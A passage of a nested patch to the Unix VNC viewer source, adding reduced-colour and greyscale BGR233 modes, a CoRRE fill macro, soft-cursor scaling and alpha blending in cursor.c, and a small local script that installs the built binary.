-- if (!AllocateBGR233Colour(rv[ri], gv[gi], bv[bi]))
-- return;
-+ if (appData.useBGR233 == 64 && (bv[bi] > 3 || gv[gi] > 3 || rv[ri] > 3)) {
-+ nBGR233ColoursAllocated++;
-+ } else if (appData.useBGR233 == 8 && (bv[bi] > 1 || gv[gi] > 1 || rv[ri] > 1)) {
-+ nBGR233ColoursAllocated++;
-+ } else if (!AllocateBGR233Colour(rv[ri], gv[gi], bv[bi])) {
-+ return;
-+ }
- }
- }
- gn++;
-@@ -507,8 +665,13 @@
- bi = bn;
- for (ri = 0; ri < rn; ri++) {
- for (gi = 0; gi < gn; gi++) {
-- if (!AllocateBGR233Colour(rv[ri], gv[gi], bv[bi]))
-- return;
-+ if (appData.useBGR233 == 64 && (bv[bi] > 3 || gv[gi] > 3 || rv[ri] > 3)) {
-+ nBGR233ColoursAllocated++;
-+ } else if (appData.useBGR233 == 8 && (bv[bi] > 1 || gv[gi] > 1 || rv[ri] > 1)) {
-+ nBGR233ColoursAllocated++;
-+ } else if (!AllocateBGR233Colour(rv[ri], gv[gi], bv[bi])) {
-+ return;
-+ }
- }
- }
- bn++;
-@@ -529,18 +692,36 @@
- AllocateBGR233Colour(int r, int g, int b)
- {
- XColor c;
-+ int bs = 6, gs = 3, rs = 0;
-+ int bm = 3, gm = 7, rm = 7;
-
- if (nBGR233ColoursAllocated >= appData.nColours)
- return False;
-
-- c.red = r * 65535 / 7;
-- c.green = g * 65535 / 7;
-- c.blue = b * 65535 / 3;
-+ if (appData.useBGR233 == 64) {
-+ bs = 4; gs = 2, rs = 0;
-+ bm = 3; gm = 3; rm = 3;
-+ }
-+ if (appData.useBGR233 == 8) {
-+ bs = 2; gs = 1, rs = 0;
-+ bm = 1; gm = 1; rm = 1;
-+ }
-+
-+ c.red = r * 65535 / rm;
-+ c.green = g * 65535 / gm;
-+ c.blue = b * 65535 / bm;
-+ if (appData.useGreyScale) {
-+ int ave;
-+ ave = (c.red + c.green + c.blue)/3;
-+ c.red = ave;
-+ c.green = ave;
-+ c.blue = ave;
-+ }
-
- if (!XAllocColor(dpy, cmap, &c))
- return False;
-
-- BGR233ToPixel[(b<<6) | (g<<3) | r] = c.pixel;
-+ BGR233ToPixel[(b<<bs) | (g<<gs) | r] = c.pixel;
-
- nBGR233ColoursAllocated++;
-
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/corre.c vnc_unixsrc/vncviewer/corre.c
---- vnc_unixsrc.orig/vncviewer/corre.c 2000-06-11 08:00:53.000000000 -0400
-+++ vnc_unixsrc/vncviewer/corre.c 2008-10-05 15:16:01.000000000 -0400
-@@ -29,6 +29,18 @@
- #define HandleCoRREBPP CONCAT2E(HandleCoRRE,BPP)
- #define CARDBPP CONCAT2E(CARD,BPP)
-
-+#define FillRectangle(x, y, w, h, color) \
-+ { \
-+ XGCValues _gcv; \
-+ _gcv.foreground = color; \
-+ if (!appData.useXserverBackingStore) { \
-+ FillScreen(x, y, w, h, _gcv.foreground); \
-+ } else { \
-+ XChangeGC(dpy, gc, GCForeground, &_gcv); \
-+ XFillRectangle(dpy, desktopWin, gc, x, y, w, h); \
-+ } \
-+ }
-+
- static Bool
- HandleCoRREBPP (int rx, int ry, int rw, int rh)
- {
-@@ -50,11 +62,19 @@
- #if (BPP == 8)
- gcv.foreground = (appData.useBGR233 ? BGR233ToPixel[pix] : pix);
- #else
-+#if (BPP == 16)
-+ gcv.foreground = (appData.useBGR565 ? BGR565ToPixel[pix] : pix);
-+#else
- gcv.foreground = pix;
- #endif
-+#endif
-
-+#if 0
- XChangeGC(dpy, gc, GCForeground, &gcv);
- XFillRectangle(dpy, desktopWin, gc, rx, ry, rw, rh);
-+#else
-+ FillRectangle(rx, ry, rw, rh, gcv.foreground);
-+#endif
-
- if (!ReadFromRFBServer(buffer, hdr.nSubrects * (4 + (BPP / 8))))
- return False;
-@@ -72,12 +92,22 @@
- #if (BPP == 8)
- gcv.foreground = (appData.useBGR233 ? BGR233ToPixel[pix] : pix);
- #else
-+#if (BPP == 16)
-+ gcv.foreground = (appData.useBGR565 ? BGR565ToPixel[pix] : pix);
-+#else
- gcv.foreground = pix;
- #endif
-+#endif
-
-+#if 0
- XChangeGC(dpy, gc, GCForeground, &gcv);
- XFillRectangle(dpy, desktopWin, gc, rx + x, ry + y, w, h);
-+#else
-+ FillRectangle(rx + x, ry + y, w, h, gcv.foreground);
-+#endif
- }
-
- return True;
- }
-+
-+#undef FillRectangle
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/cp_it vnc_unixsrc/vncviewer/cp_it
---- vnc_unixsrc.orig/vncviewer/cp_it 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/cp_it 2009-03-06 20:02:05.000000000 -0500
-@@ -0,0 +1,18 @@
-+#!/bin/sh
-+
-+dest=/dist/bin/vncviewerz-1.3dev5-resize
-+suc "cp -p $dest $dest.back; mv $dest $dest.unlink; mv $dest.back $dest; rm $dest.unlink"
-+strip ./vncviewer
-+cat ./vncviewer > $dest
-+touch -r ./vncviewer $dest
-+yy=/dist/src/apps/VNC/etc/libvncserver_cvs/expts/etv/ssvnc/bin/Linux.i686/vncviewer
-+mv $yy $yy.unlink
-+cp -p ./vncviewer $yy
-+mv $yy.turbovnc $yy.unlink.turbovnc
-+cp -p ./vncviewer $HOME/etv_col/Linux.i686
-+cp -p ./vncviewer.turbovnc $yy.turbovnc
-+cp -p ./vncviewer.turbovnc $HOME/etv_col/Linux.i686/vncviewer.turbovnc
-+chmod 755 $yy*
-+
-+rm -f $yy.unlink*
-+ls -l ./vncviewer* $dest $yy* $HOME/etv_col/Linux.i686/vncviewer*
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/cursor.c vnc_unixsrc/vncviewer/cursor.c
---- vnc_unixsrc.orig/vncviewer/cursor.c 2003-01-15 04:46:52.000000000 -0500
-+++ vnc_unixsrc/vncviewer/cursor.c 2010-02-25 22:04:28.000000000 -0500
-@@ -38,8 +38,11 @@
-
-
- static Bool prevSoftCursorSet = False;
--static Pixmap rcSavedArea;
--static CARD8 *rcSource, *rcMask;
-+static Pixmap rcSavedArea, rcSavedArea_0;
-+static int rcSavedArea_w = -1, rcSavedArea_h = -1;
-+static char *rcSavedScale = NULL;
-+static int rcSavedScale_len = 0;
-+static CARD8 *rcSource = NULL, *rcMask;
- static int rcHotX, rcHotY, rcWidth, rcHeight;
- static int rcCursorX = 0, rcCursorY = 0;
- static int rcLockX, rcLockY, rcLockWidth, rcLockHeight;
-@@ -48,8 +51,13 @@
- static Bool SoftCursorInLockedArea(void);
- static void SoftCursorCopyArea(int oper);
- static void SoftCursorDraw(void);
--static void FreeSoftCursor(void);
--static void FreeX11Cursor();
-+void FreeSoftCursor(void);
-+void FreeX11Cursor();
-+
-+extern XImage *image;
-+extern XImage *image_scale;
-+extern int scale_x, scale_y;
-+int scale_round(int n, double factor);
-
- /* Copied from Xvnc/lib/font/util/utilbitmap.c */
- static unsigned char _reverse_byte[0x100] = {
-@@ -91,6 +99,8 @@
- static Bool prevXCursorSet = False;
- static Cursor prevXCursor;
-
-+extern double scale_factor_x;
-+extern double scale_factor_y;
-
- Bool HandleXCursor(int xhot, int yhot, int width, int height)
- {
-@@ -124,7 +134,7 @@
- XQueryBestCursor(dpy, dr, width, height, &wret, &hret);
- }
-
-- if (width * height == 0 || wret < width || hret < height) {
-+ if (width * height == 0 || (int) wret < width || (int) hret < height) {
- /* Free resources */
- if (buf != NULL)
- free(buf);
-@@ -139,7 +149,7 @@
- fg.green = (unsigned short)colors.foreGreen << 8 | colors.foreGreen;
- fg.blue = (unsigned short)colors.foreBlue << 8 | colors.foreBlue;
-
-- for (i = 0; i < bytesData * 2; i++)
-+ for (i = 0; (size_t) i < bytesData * 2; i++)
- buf[i] = (char)_reverse_byte[(int)buf[i] & 0xFF];
-
- source = XCreateBitmapFromData(dpy, dr, buf, width, height);
-@@ -167,148 +177,179 @@
-
- Bool HandleCursorShape(int xhot, int yhot, int width, int height, CARD32 enc)
- {
-- int bytesPerPixel;
-- size_t bytesPerRow, bytesMaskData;
-- Drawable dr;
-- rfbXCursorColors rgb;
-- CARD32 colors[2];
-- char *buf;
-- CARD8 *ptr;
-- int x, y, b;
--
-- bytesPerPixel = myFormat.bitsPerPixel / 8;
-- bytesPerRow = (width + 7) / 8;
-- bytesMaskData = bytesPerRow * height;
-- dr = DefaultRootWindow(dpy);
--
-- FreeSoftCursor();
-+ int bytesPerPixel;
-+ size_t bytesPerRow, bytesMaskData;
-+ Drawable dr;
-+ rfbXCursorColors rgb;
-+ CARD32 colors[2];
-+ char *buf;
-+ CARD8 *ptr;
-+ int x, y, b;
-+
-+ bytesPerPixel = myFormat.bitsPerPixel / 8;
-+ bytesPerRow = (width + 7) / 8;
-+ bytesMaskData = bytesPerRow * height;
-+ dr = DefaultRootWindow(dpy);
-
-- if (width * height == 0)
-- return True;
--
-- /* Allocate memory for pixel data and temporary mask data. */
-+ FreeSoftCursor();
-
-- rcSource = malloc(width * height * bytesPerPixel);
-- if (rcSource == NULL)
-- return False;
--
-- buf = malloc(bytesMaskData);
-- if (buf == NULL) {
-- free(rcSource);
-- return False;
-- }
-+ if (width * height == 0) {
-+ return True;
-+ }
-
-- /* Read and decode cursor pixel data, depending on the encoding type. */
-+ /* Allocate memory for pixel data and temporary mask data. */
-
-- if (enc == rfbEncodingXCursor) {
-- if (appData.useX11Cursor) {
-- HandleXCursor(xhot, yhot, width, height);
-- return True;
-- }
-+ rcSource = malloc(width * height * bytesPerPixel);
-+ if (rcSource == NULL) {
-+ return False;
-+ }
-
-- /* Read and convert background and foreground colors. */
-- if (!ReadFromRFBServer((char *)&rgb, sz_rfbXCursorColors)) {
-- free(rcSource);
-- free(buf);
-- return False;
-- }
-- colors[0] = RGB24_TO_PIXEL(32, rgb.backRed, rgb.backGreen, rgb.backBlue);
-- colors[1] = RGB24_TO_PIXEL(32, rgb.foreRed, rgb.foreGreen, rgb.foreBlue);
-+ buf = malloc(bytesMaskData);
-+ if (buf == NULL) {
-+ free(rcSource);
-+ rcSource = NULL;
-+ return False;
-+ }
-
-- /* Read 1bpp pixel data into a temporary buffer. */
-- if (!ReadFromRFBServer(buf, bytesMaskData)) {
-- free(rcSource);
-- free(buf);
-- return False;
-- }
-+ /* Read and decode cursor pixel data, depending on the encoding type. */
-
-- /* Convert 1bpp data to byte-wide color indices. */
-- ptr = rcSource;
-- for (y = 0; y < height; y++) {
-- for (x = 0; x < width / 8; x++) {
-- for (b = 7; b >= 0; b--) {
-- *ptr = buf[y * bytesPerRow + x] >> b & 1;
-- ptr += bytesPerPixel;
-- }
-- }
-- for (b = 7; b > 7 - width % 8; b--) {
-- *ptr = buf[y * bytesPerRow + x] >> b & 1;
-- ptr += bytesPerPixel;
-- }
-- }
-+ if (enc == rfbEncodingXCursor) {
-+ if (appData.useX11Cursor) {
-+ HandleXCursor(xhot, yhot, width, height);
-+ return True;
-+ }
-+
-+ /* Read and convert background and foreground colors. */
-+ if (!ReadFromRFBServer((char *)&rgb, sz_rfbXCursorColors)) {
-+ free(rcSource);
-+ rcSource = NULL;
-+ free(buf);
-+ return False;
-+ }
-+ colors[0] = RGB24_TO_PIXEL(32, rgb.backRed, rgb.backGreen, rgb.backBlue);
-+ colors[1] = RGB24_TO_PIXEL(32, rgb.foreRed, rgb.foreGreen, rgb.foreBlue);
-+
-+ /* Read 1bpp pixel data into a temporary buffer. */
-+ if (!ReadFromRFBServer(buf, bytesMaskData)) {
-+ free(rcSource);
-+ rcSource = NULL;
-+ free(buf);
-+ return False;
-+ }
-+
-+ /* Convert 1bpp data to byte-wide color indices. */
-+ ptr = rcSource;
-+ for (y = 0; y < height; y++) {
-+ for (x = 0; x < width / 8; x++) {
-+ for (b = 7; b >= 0; b--) {
-+ *ptr = buf[y * bytesPerRow + x] >> b & 1;
-+ ptr += bytesPerPixel;
-+ }
-+ }
-+ for (b = 7; b > 7 - width % 8; b--) {
-+ *ptr = buf[y * bytesPerRow + x] >> b & 1;
-+ ptr += bytesPerPixel;
-+ }
-+ }
-+
-+ /* Convert indices into the actual pixel values. */
-+ switch (bytesPerPixel) {
-+ case 1:
-+ for (x = 0; x < width * height; x++) {
-+ rcSource[x] = (CARD8)colors[rcSource[x]];
-+ }
-+ break;
-+ case 2:
-+ for (x = 0; x < width * height; x++) {
-+ ((CARD16 *)rcSource)[x] = (CARD16)colors[rcSource[x * 2]];
-+ }
-+ break;
-+ case 4:
-+ for (x = 0; x < width * height; x++) {
-+ ((CARD32 *)rcSource)[x] = colors[rcSource[x * 4]];
-+ }
-+ break;
-+ }
-+
-+ } else { /* enc == rfbEncodingRichCursor */
-+ if (!ReadFromRFBServer((char *)rcSource, width * height * bytesPerPixel)) {
-+ free(rcSource);
-+ rcSource = NULL;
-+ free(buf);
-+ return False;
-+ }
-+ }
-
-- /* Convert indices into the actual pixel values. */
-- switch (bytesPerPixel) {
-- case 1:
-- for (x = 0; x < width * height; x++)
-- rcSource[x] = (CARD8)colors[rcSource[x]];
-- break;
-- case 2:
-- for (x = 0; x < width * height; x++)
-- ((CARD16 *)rcSource)[x] = (CARD16)colors[rcSource[x * 2]];
-- break;
-- case 4:
-- for (x = 0; x < width * height; x++)
-- ((CARD32 *)rcSource)[x] = colors[rcSource[x * 4]];
-- break;
-- }
-+ /* Read and decode mask data. */
-
-- } else { /* enc == rfbEncodingRichCursor */
-+ if (!ReadFromRFBServer(buf, bytesMaskData)) {
-+ free(rcSource);
-+ rcSource = NULL;
-+ free(buf);
-+ return False;
-+ }
-
-- if (!ReadFromRFBServer((char *)rcSource, width * height * bytesPerPixel)) {
-- free(rcSource);
-- free(buf);
-- return False;
-- }
-+ rcMask = malloc(width * height);
-+ if (rcMask == NULL) {
-+ free(rcSource);
-+ rcSource = NULL;
-+ free(buf);
-+ return False;
-+ }
-
-- }
-+ ptr = rcMask;
-+ for (y = 0; y < height; y++) {
-+ for (x = 0; x < width / 8; x++) {
-+ for (b = 7; b >= 0; b--) {
-+ *ptr++ = buf[y * bytesPerRow + x] >> b & 1;
-+ }
-+ }
-+ for (b = 7; b > 7 - width % 8; b--) {
-+ *ptr++ = buf[y * bytesPerRow + x] >> b & 1;
-+ }
-+ }
-
-- /* Read and decode mask data. */
-+ free(buf);
-
-- if (!ReadFromRFBServer(buf, bytesMaskData)) {
-- free(rcSource);
-- free(buf);
-- return False;
-- }
-+ /* Set remaining data associated with cursor. */
-
-- rcMask = malloc(width * height);
-- if (rcMask == NULL) {
-- free(rcSource);
-- free(buf);
-- return False;
-- }
-+ dr = DefaultRootWindow(dpy);
-
-- ptr = rcMask;
-- for (y = 0; y < height; y++) {
-- for (x = 0; x < width / 8; x++) {
-- for (b = 7; b >= 0; b--) {
-- *ptr++ = buf[y * bytesPerRow + x] >> b & 1;
-- }
-- }
-- for (b = 7; b > 7 - width % 8; b--) {
-- *ptr++ = buf[y * bytesPerRow + x] >> b & 1;
-- }
-- }
-+ if (scale_x > 0) {
-+ int w = scale_round(width, scale_factor_x) + 2;
-+ int h = scale_round(height, scale_factor_y) + 2;
-+ rcSavedArea = XCreatePixmap(dpy, dr, w, h, visdepth);
-+ rcSavedArea_w = w;
-+ rcSavedArea_h = h;
-+ } else {
-+ rcSavedArea = XCreatePixmap(dpy, dr, width, height, visdepth);
-+ rcSavedArea_w = width;
-+ rcSavedArea_h = height;
-+ }
-+ rcSavedArea_0 = XCreatePixmap(dpy, dr, width, height, visdepth);
-
-- free(buf);
-+if (0) fprintf(stderr, "rcSavedArea_wh: %d %d scale_x: %d\n", rcSavedArea_w, rcSavedArea_h, scale_x);
-
-- /* Set remaining data associated with cursor. */
-+ if (rcSavedScale_len < 4 * width * height + 4096) {
-+ if (rcSavedScale) {
-+ free(rcSavedScale);
-+ }
-+ rcSavedScale = (char *) malloc(2 * 4 * width * height + 4096);
-+ }
-
-- dr = DefaultRootWindow(dpy);
-- rcSavedArea = XCreatePixmap(dpy, dr, width, height, visdepth);
-- rcHotX = xhot;
-- rcHotY = yhot;
-- rcWidth = width;
-- rcHeight = height;
-+ rcHotX = xhot;
-+ rcHotY = yhot;
-+ rcWidth = width;
-+ rcHeight = height;
-
-- SoftCursorCopyArea(OPER_SAVE);
-- SoftCursorDraw();
-+ SoftCursorCopyArea(OPER_SAVE);
-+ SoftCursorDraw();
-
-- rcCursorHidden = False;
-- rcLockSet = False;
-+ rcCursorHidden = False;
-+ rcLockSet = False;
-
-- prevSoftCursorSet = True;
-- return True;
-+ prevSoftCursorSet = True;
-+ return True;
- }
-
- /*********************************************************************
-@@ -319,20 +360,27 @@
-
- Bool HandleCursorPos(int x, int y)
- {
-- if (appData.useX11Cursor) {
-- if (appData.fullScreen)
-- XWarpPointer(dpy, None, desktopWin, 0, 0, 0, 0, x, y);
--
-- return True;
-- }
-+ if (x < 0) x = 0;
-+ if (y < 0) y = 0;
-
-- if (x >= si.framebufferWidth)
-- x = si.framebufferWidth - 1;
-- if (y >= si.framebufferHeight)
-- y = si.framebufferHeight - 1;
-+ /* fprintf(stderr, "xy: %d %d\n", x, y); */
-
-- SoftCursorMove(x, y);
-- return True;
-+ if (x >= si.framebufferWidth) {
-+ x = si.framebufferWidth - 1;
-+ }
-+ if (y >= si.framebufferHeight) {
-+ y = si.framebufferHeight - 1;
-+ }
-+
-+ if (appData.useX11Cursor) {
-+ if (appData.fullScreen) {
-+ XWarpPointer(dpy, None, desktopWin, 0, 0, 0, 0, x, y);
-+ }
-+ return True;
-+ }
-+
-+ SoftCursorMove(x, y);
-+ return True;
- }
-
- /*********************************************************************
-@@ -348,30 +396,31 @@
- {
- int newX, newY;
-
-- if (!prevSoftCursorSet)
-- return;
-+ if (!prevSoftCursorSet) {
-+ return;
-+ }
-
-- if (!rcLockSet) {
-- rcLockX = x;
-- rcLockY = y;
-- rcLockWidth = w;
-- rcLockHeight = h;
-- rcLockSet = True;
-- } else {
-- newX = (x < rcLockX) ? x : rcLockX;
-- newY = (y < rcLockY) ? y : rcLockY;
-- rcLockWidth = (x + w > rcLockX + rcLockWidth) ?
-- (x + w - newX) : (rcLockX + rcLockWidth - newX);
-- rcLockHeight = (y + h > rcLockY + rcLockHeight) ?
-- (y + h - newY) : (rcLockY + rcLockHeight - newY);
-- rcLockX = newX;
-- rcLockY = newY;
-- }
-+ if (!rcLockSet) {
-+ rcLockX = x;
-+ rcLockY = y;
-+ rcLockWidth = w;
-+ rcLockHeight = h;
-+ rcLockSet = True;
-+ } else {
-+ newX = (x < rcLockX) ? x : rcLockX;
-+ newY = (y < rcLockY) ? y : rcLockY;
-+ rcLockWidth = (x + w > rcLockX + rcLockWidth) ?
-+ (x + w - newX) : (rcLockX + rcLockWidth - newX);
-+ rcLockHeight = (y + h > rcLockY + rcLockHeight) ?
-+ (y + h - newY) : (rcLockY + rcLockHeight - newY);
-+ rcLockX = newX;
-+ rcLockY = newY;
-+ }
-
-- if (!rcCursorHidden && SoftCursorInLockedArea()) {
-- SoftCursorCopyArea(OPER_RESTORE);
-- rcCursorHidden = True;
-- }
-+ if (!rcCursorHidden && SoftCursorInLockedArea()) {
-+ SoftCursorCopyArea(OPER_RESTORE);
-+ rcCursorHidden = True;
-+ }
- }
-
- /*********************************************************************
-@@ -381,15 +430,16 @@
-
- void SoftCursorUnlockScreen(void)
- {
-- if (!prevSoftCursorSet)
-- return;
-+ if (!prevSoftCursorSet) {
-+ return;
-+ }
-
-- if (rcCursorHidden) {
-- SoftCursorCopyArea(OPER_SAVE);
-- SoftCursorDraw();
-- rcCursorHidden = False;
-- }
-- rcLockSet = False;
-+ if (rcCursorHidden) {
-+ SoftCursorCopyArea(OPER_SAVE);
-+ SoftCursorDraw();
-+ rcCursorHidden = False;
-+ }
-+ rcLockSet = False;
- }
-
- /*********************************************************************
-@@ -401,19 +451,19 @@
-
- void SoftCursorMove(int x, int y)
- {
-- if (prevSoftCursorSet && !rcCursorHidden) {
-- SoftCursorCopyArea(OPER_RESTORE);
-- rcCursorHidden = True;
-- }
-+ if (prevSoftCursorSet && !rcCursorHidden) {
-+ SoftCursorCopyArea(OPER_RESTORE);
-+ rcCursorHidden = True;
-+ }
-
-- rcCursorX = x;
-- rcCursorY = y;
-+ rcCursorX = x;
-+ rcCursorY = y;
-
-- if (prevSoftCursorSet && !(rcLockSet && SoftCursorInLockedArea())) {
-- SoftCursorCopyArea(OPER_SAVE);
-- SoftCursorDraw();
-- rcCursorHidden = False;
-- }
-+ if (prevSoftCursorSet && !(rcLockSet && SoftCursorInLockedArea())) {
-+ SoftCursorCopyArea(OPER_SAVE);
-+ SoftCursorDraw();
-+ rcCursorHidden = False;
-+ }
- }
-
-
-@@ -429,41 +479,169 @@
- rcLockY + rcLockHeight > rcCursorY - rcHotY);
- }
-
--static void SoftCursorCopyArea(int oper)
--{
-- int x, y, w, h;
-+void new_pixmap(int w, int h) {
-
-- x = rcCursorX - rcHotX;
-- y = rcCursorY - rcHotY;
-- if (x >= si.framebufferWidth || y >= si.framebufferHeight)
-- return;
--
-- w = rcWidth;
-- h = rcHeight;
-- if (x < 0) {
-- w += x;
-- x = 0;
-- } else if (x + w > si.framebufferWidth) {
-- w = si.framebufferWidth - x;
-- }
-- if (y < 0) {
-- h += y;
-- y = 0;
-- } else if (y + h > si.framebufferHeight) {
-- h = si.framebufferHeight - y;
-- }
-+ XFreePixmap(dpy, rcSavedArea);
-
-- if (oper == OPER_SAVE) {
-- /* Save screen area in memory. */
--#ifdef MITSHM
-- if (appData.useShm)
-- XSync(dpy, False);
--#endif
-- XCopyArea(dpy, desktopWin, rcSavedArea, gc, x, y, w, h, 0, 0);
-- } else {
-- /* Restore screen area. */
-- XCopyArea(dpy, rcSavedArea, desktopWin, gc, 0, 0, w, h, x, y);
-- }
-+ if (w > 0 && h > 0) {
-+ rcSavedArea = XCreatePixmap(dpy, DefaultRootWindow(dpy), w, h, visdepth);
-+ rcSavedArea_w = w;
-+ rcSavedArea_h = h;
-+
-+ } else if (image_scale != NULL && scale_x > 0) {
-+ int w2 = scale_round(rcWidth, scale_factor_x) + 2;
-+ int h2 = scale_round(rcHeight, scale_factor_y) + 2;
-+ rcSavedArea = XCreatePixmap(dpy, DefaultRootWindow(dpy), w2, h2, visdepth);
-+ rcSavedArea_w = w2;
-+ rcSavedArea_h = h2;
-+ } else {
-+ rcSavedArea = XCreatePixmap(dpy, DefaultRootWindow(dpy), rcWidth, rcHeight, visdepth);
-+ rcSavedArea_w = rcWidth;
-+ rcSavedArea_h = rcHeight;
-+ }
-+}
-+
-+extern int XError_ign;
-+
-+static void SoftCursorCopyArea(int oper) {
-+ int x, y, w, h;
-+ int xs = 0, ys = 0, ws = 0, hs = 0;
-+ static int scale_saved = 0, ss_w, ss_h;
-+ int db = 0;
-+
-+ x = rcCursorX - rcHotX;
-+ y = rcCursorY - rcHotY;
-+ if (x >= si.framebufferWidth || y >= si.framebufferHeight) {
-+ return;
-+ }
-+
-+ w = rcWidth;
-+ h = rcHeight;
-+ if (x < 0) {
-+ w += x;
-+ x = 0;
-+ } else if (x + w > si.framebufferWidth) {
-+ w = si.framebufferWidth - x;
-+ }
-+ if (y < 0) {
-+ h += y;
-+ y = 0;
-+ } else if (y + h > si.framebufferHeight) {
-+ h = si.framebufferHeight - y;
-+ }
-+
-+ if (image_scale != NULL && scale_x > 0) {
-+ xs = (int) (x * scale_factor_x);
-+ ys = (int) (y * scale_factor_y);
-+ ws = scale_round(w, scale_factor_x);
-+ hs = scale_round(h, scale_factor_y);
-+
-+ if (xs > 0) xs -= 1;
-+ if (ys > 0) ys -= 1;
-+ ws += 2;
-+ hs += 2;
-+ }
-+
-+ XError_ign = 1;
-+
-+ if (oper == OPER_SAVE) {
-+ /* Save screen area in memory. */
-+ scale_saved = 0;
-+ if (appData.useXserverBackingStore) {
-+ XSync(dpy, False);
-+ XCopyArea(dpy, desktopWin, rcSavedArea, gc, x, y, w, h, 0, 0);
-+ } else {
-+ if (image_scale != NULL && scale_x > 0) {
-+ int Bpp = image_scale->bits_per_pixel / 8;
-+ int Bpl = image_scale->bytes_per_line;
-+ int i;
-+ char *src = image_scale->data + y * Bpl + x * Bpp;
-+ char *dst = rcSavedScale;
-+
-+ if (ws > rcSavedArea_w || hs > rcSavedArea_h) {
-+ new_pixmap(0, 0);
-+ }
-+
-+if (db) fprintf(stderr, "save: %dx%d+%d+%d\n", ws, hs, xs, ys);
-+
-+ XPutImage(dpy, rcSavedArea, gc, image, xs, ys, 0, 0, ws, hs);
-+
-+ XPutImage(dpy, rcSavedArea_0, gc, image_scale, x, y, 0, 0, w, h);
-+
-+ scale_saved = 1;
-+ ss_w = ws;
-+ ss_h = hs;
-+
-+ for (i=0; i < h; i++) {
-+ memcpy(dst, src, Bpp * w);
-+ src += Bpl;
-+ dst += Bpp * w;
-+ }
-+ } else {
-+if (db) fprintf(stderr, "SAVE: %dx%d+%d+%d\n", w, h, x, y);
-+ if (w > rcSavedArea_w || h > rcSavedArea_h) {
-+ new_pixmap(0, 0);
-+ }
-+
-+ XPutImage(dpy, rcSavedArea, gc, image, x, y, 0, 0, w, h);
-+ }
-+ }
-+ } else {
-+
-+#define XE(s) if (XError_ign > 1) {fprintf(stderr, "X-%d\n", (s)); db = 1;}
-+
-+ /* Restore screen area. */
-+ if (appData.useXserverBackingStore) {
-+ XCopyArea(dpy, rcSavedArea, desktopWin, gc, 0, 0, w, h, x, y);
-+XE(1)
-+ XGetSubImage(dpy, rcSavedArea, 0, 0, w, h, AllPlanes, ZPixmap, image, x, y);
-+XE(2)
-+
-+ } else {
-+ if (image_scale != NULL && scale_x > 0) {
-+ int Bpp = image_scale->bits_per_pixel / 8;
-+ int Bpl = image_scale->bytes_per_line;
-+ int i;
-+ char *dst = image_scale->data + y * Bpl + x * Bpp;
-+ char *src = rcSavedScale;
-+
-+ XCopyArea(dpy, rcSavedArea, desktopWin, gc, 0, 0, ws, hs, xs, ys);
-+XE(3)
-+ XGetSubImage(dpy, rcSavedArea, 0, 0, ws, hs, AllPlanes, ZPixmap, image, xs, ys);
-+XE(4)
-+if (db) fprintf(stderr, "rstr: %dx%d+%d+%d\n", ws, hs, xs, ys);
-+
-+ for (i=0; i < h; i++) {
-+ memcpy(dst, src, Bpp * w);
-+ src += Bpp * w;
-+ dst += Bpl;
-+ }
-+ } else {
-+
-+ if (scale_saved) {
-+ XCopyArea(dpy, rcSavedArea, desktopWin, gc, 0, 0, ss_w, ss_h, x, y);
-+XE(5)
-+ XGetSubImage(dpy, rcSavedArea, 0, 0, ss_w, ss_h, AllPlanes, ZPixmap, image, x, y);
-+XE(6)
-+ new_pixmap(w, h);
-+ } else {
-+ XCopyArea(dpy, rcSavedArea, desktopWin, gc, 0, 0, w, h, x, y);
-+XE(7)
-+ XGetSubImage(dpy, rcSavedArea, 0, 0, w, h, AllPlanes, ZPixmap, image, x, y);
-+XE(8)
-+ }
-+
-+if (db) fprintf(stderr, "RSTR: %dx%d+%d+%d\n", w, h, x, y);
-+
-+ }
-+ }
-+ }
-+
-+ if (XError_ign > 1) {
-+ fprintf(stderr, "XError_ign: %d, oper: %s\n", XError_ign, oper ? "restore" : "save");
-+ }
-+
-+ XError_ign = 0;
- }
-
- static void SoftCursorDraw(void)
-@@ -472,43 +650,182 @@
- int offset, bytesPerPixel;
- char *pos;
-
-+#define alphahack
-+#ifdef alphahack
-+ /* hack to have cursor transparency at 32bpp <runge@karlrunge.com> */
-+ int alphablend = 0;
-+
-+ if (!rcSource) {
-+ return;
-+ }
-+
-+ if (appData.useCursorAlpha) {
-+ alphablend = 1;
-+ }
-+
- bytesPerPixel = myFormat.bitsPerPixel / 8;
-
-- /* FIXME: Speed optimization is possible. */
-- for (y = 0; y < rcHeight; y++) {
-- y0 = rcCursorY - rcHotY + y;
-- if (y0 >= 0 && y0 < si.framebufferHeight) {
-- for (x = 0; x < rcWidth; x++) {
-- x0 = rcCursorX - rcHotX + x;
-- if (x0 >= 0 && x0 < si.framebufferWidth) {
-- offset = y * rcWidth + x;
-- if (rcMask[offset]) {
-- pos = (char *)&rcSource[offset * bytesPerPixel];
-- CopyDataToScreen(pos, x0, y0, 1, 1);
-- }
-+ if (alphablend && bytesPerPixel == 4) {
-+ unsigned long pixel, put, *upos, *upix;
-+ int got_alpha = 0, rsX, rsY, rsW, rsH;
-+ static XImage *alpha_image = NULL;
-+ static int iwidth = 192;
-+
-+ if (! alpha_image) {
-+ /* watch out for tiny fb (rare) */
-+ if (iwidth > si.framebufferWidth) {
-+ iwidth = si.framebufferWidth;
-+ }
-+ if (iwidth > si.framebufferHeight) {
-+ iwidth = si.framebufferHeight;
-+ }
-+
-+ /* initialize an XImage with a chunk of desktopWin */
-+ alpha_image = XGetImage(dpy, desktopWin, 0, 0, iwidth, iwidth,
-+ AllPlanes, ZPixmap);
- }
-- }
-- }
-+
-+ /* first check if there is any non-zero alpha channel data at all: */
-+ for (y = 0; y < rcHeight; y++) {
-+ for (x = 0; x < rcWidth; x++) {
-+ int alpha;
-+
-+ offset = y * rcWidth + x;
-+ pos = (char *)&rcSource[offset * bytesPerPixel];
-+
-+ upos = (unsigned long *) pos;
-+ alpha = (*upos & 0xff000000) >> 24;
-+ if (alpha) {
-+ got_alpha = 1;
-+ break;
-+ }
-+ }
-+ if (got_alpha) {
-+ break;
-+ }
-+ }
-+
-+ if (!got_alpha) {
-+ /* no alpha channel data, fallback to the old way */
-+ goto oldway;
-+ }
-+
-+ /* load the saved fb patch in to alpha_image (faster way?) */
-+ if (image_scale != NULL && scale_x > 0) {
-+ XGetSubImage(dpy, rcSavedArea_0, 0, 0, rcWidth, rcHeight, AllPlanes, ZPixmap, alpha_image, 0, 0);
-+ } else {
